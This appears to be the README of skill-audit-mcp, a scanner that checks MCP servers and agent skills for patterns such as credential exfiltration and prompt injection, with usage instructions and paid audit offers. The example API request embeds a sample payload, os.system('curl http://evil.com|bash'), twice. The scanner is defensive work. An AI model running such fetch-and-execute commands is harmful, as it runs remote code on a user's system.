io.github.eltociear/skill-audit-mcp

skill-audit-mcp

Static security scanner for MCP servers, AI agent skills, and plugins. 17 attack patterns (59 regex signatures) across 4 severity levels. SARIF output → GitHub Code Scanning. Ships as a CLI, GitHub Action, multi-arch Docker image, MCP server, and hosted x402 API.

⚡ Try it in 30 seconds

# Option A: Docker (zero install, works anywhere)
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work

# Option B: Hosted API (pay-per-scan, no signup)
curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

# Option C: GitHub Action (CI/CD) — see below

📡 Featured in

Cross-referenced from the discovery channels that AI/security engineers actually read:

• punkpeye/awesome-mcp-servers (86K★) — Security section
• cline/mcp-marketplace (61K★) — curated one-click install (review pending)
• ComposioHQ/awesome-claude-skills (59K★) — Security & Systems
• aaif-goose/goose (45K★) — extension tutorial doc
• sdras/awesome-actions (28K★) — Security
• veggiemonk/awesome-docker (36K★) — Security
• VoltAgent/awesome-claude-code-subagents (20K★) — Quality & Security subagent
• travisvn/awesome-claude-skills (12K★)
• BehiSecc/awesome-claude-skills (9K★)
• yzfly/Awesome-MCP-ZH (7K★) — 中文 🔒 安全与分析
• tensorchord/Awesome-LLMOps (6K★) — Frameworks for LLM security
• devsecops/awesome-devsecops (5K★) — Testing
• mahseema/awesome-ai-tools (5K★) — Developer tools

Four ways to use:

1. GitHub Action (CI/CD)

Add to your workflow to automatically scan PRs:

name: MCP Security Audit
on: [pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: eltociear/skill-audit-mcp@v1
        with:
          path: '.'
          fail-on: 'HIGH'

With SARIF upload (shows findings in GitHub Security tab):

      - uses: eltociear/skill-audit-mcp@v1
        with:
          path: '.'
          sarif: 'results.sarif'
      - uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: 'results.sarif'

2. CLI (npx)

# Scan a file
npx @eltociear/skill-audit-mcp --path ./server.py

# Scan a directory
npx @eltociear/skill-audit-mcp --path ./mcp-servers/

# JSON output
npx @eltociear/skill-audit-mcp --path . --json

# SARIF output
npx @eltociear/skill-audit-mcp --path . --sarif results.sarif

# Fail if HIGH or CRITICAL findings
npx @eltociear/skill-audit-mcp --path . --fail-on HIGH

Or install globally:

npm install -g @eltociear/skill-audit-mcp
mcp-audit --path ./server.py

3. MCP Server (Claude Desktop / Cursor)

Add to your MCP config:

{
  "skill-audit-mcp": {
    "type": "stdio",
    "command": "python3",
    "args": ["path/to/scanner.py"]
  }
}

Then ask Claude: "Audit this MCP server for security issues"

What it detects

Severity	Patterns
CRITICAL	Download & execute, credential exfiltration, key generation, sensitive directory write, seed phrase harvesting
HIGH	External downloads, skill installation, arbitrary code execution, auth bypass, identity impersonation
MEDIUM	Unknown API calls, data collection, privilege escalation, obfuscation, prompt injection
LOW	External URL references, broad filesystem access

Risk scoring

• 0-10: SAFE
• 11-25: LOW
• 26-50: MEDIUM
• 51-75: HIGH
• 76-100: CRITICAL

Sister project — secrets-audit-mcp

For leaked credentials and API keys (vs behavioral patterns covered here), see secrets-audit-mcp — 32 provider rules (AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / private keys). Same zero-dep, single-file stdio MCP server design.

Layer	Server	Detects
Behaviors	skill-audit-mcp (this)	curl-pipe-sh, prompt injection, exfiltration (17 patterns)
Secrets	secrets-audit-mcp	leaked keys/tokens/PEMs (32 rules)

Run both for full coverage.

4. Docker (offline, multi-arch)

Zero-install scanner image at ghcr.io/eltociear/skill-audit-mcp:v1 — linux/amd64 + linux/arm64.

# Scan the current directory, fail on HIGH or higher
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
  --path /work --min-severity MEDIUM --fail-on HIGH

# Get SARIF for upload to GitHub Code Scanning
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
  --path /work --sarif-output /work/audit.sarif

5. Hosted API (x402 pay-per-scan)

No signup, no account. Pay $0.01 USDC per scan via x402 micropayment on Base: the endpoint answers 402 with a payment challenge, your agent's wallet settles it, and the scan runs. A GET on the same path returns the price without spending anything.

curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

# Or by URL:
curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"url": "https://github.com/some-org/some-mcp-server"}'

First call returns HTTP 402 with a payment requirement (x402 v2 protocol). Settle via @bankr/cli, then retry.

6. pre-commit hook

Add to your .pre-commit-config.yaml:

repos:
  - repo: https://github.com/eltociear/skill-audit-mcp
    rev: v1.0.1
    hooks:
      - id: skill-audit-mcp

Hire me for an audit

Need a deeper review than the automated scanner can give? I take freelance MCP / AI agent security audits at three tiers:

Tier	Price	Deliverable
Spot scan	$500	Full repo scan + 1-page risk report with prioritized fixes
Standard	$2,000	Manual review + PoC for HIGH/CRITICAL findings + remediation PR
Engagement	$5,000+	Pentest, threat model, retest after fixes, 30-day Slack support

Track record: 196 public MCP servers scanned end-to-end; 194 clean, 2 surfaced findings for review, false-positive rate driven 14.8% -> 1.0% first (method and results) (reports prepared for bytebase/dbhub, mysql_mcp_server, applescript-mcp, docker-mcp).

Email: eltociear@gmail.com (subject: "MCP audit")

Or buy a one-off MCP Security Audit Report ($5) directly: polar.sh/eltociear.

Sponsors

If skill-audit-mcp saved your bacon — or you just want to keep new detection rules shipping — I happily accept sponsorships:

• GitHub Sponsors
• Ko-fi
• Polar

Security

Found a vulnerability in skill-audit-mcp itself? Report via private security advisory — see SECURITY.md for the response timeline.

Found a vulnerability in a third-party MCP server using skill-audit-mcp? Report it to that project's security policy or via huntr.com.

Star history

License

MIT

Free MCP vs paid x402

This MCP server is free. For server-side / batch / no-install use, the same scanner is a pay-per-call x402 HTTP API: POST https://eltociear-skill-audit.hf.space/audit ($0.01 USDC on Base) and /audit/url ($0.03). In the official MCP Registry as io.github.eltociear/skill-audit-mcp.

Also hosted on the Apify Store (Repo Security Scanner) — no install, scan a whole GitHub org or repo list, pay per repo.

Professional audit services

Maintained by the same author — paid services on Polar (Stripe checkout):

• MCP Security Audit Report — $5 — one-off audit of your MCP server: 17 attack patterns, severity-rated PDF report with concrete fixes.
• Security Pulse — $5/mo (annual $50) — monthly briefing on newly disclosed MCP server vulnerabilities, scan stats across 100+ tracked repos, mitigation playbooks.
• Pro Audit Stack — $20/mo — for teams running MCP servers in CI/CD: 50 hosted scans/month, Discord access, 24h SLA on vulnerability questions.

Full catalog: polar.sh/eltociear

Also live: clean-read ($0.005 / call)

Same operator, same x402 rails: clean-read turns any URL into clean Markdown for AI agents — fetches the page, strips nav/ads/boilerplate (trafilatura), returns the main content with title and word count. POST https://eltociear-skill-audit.hf.space/read — $0.005 USDC on Base, no signup.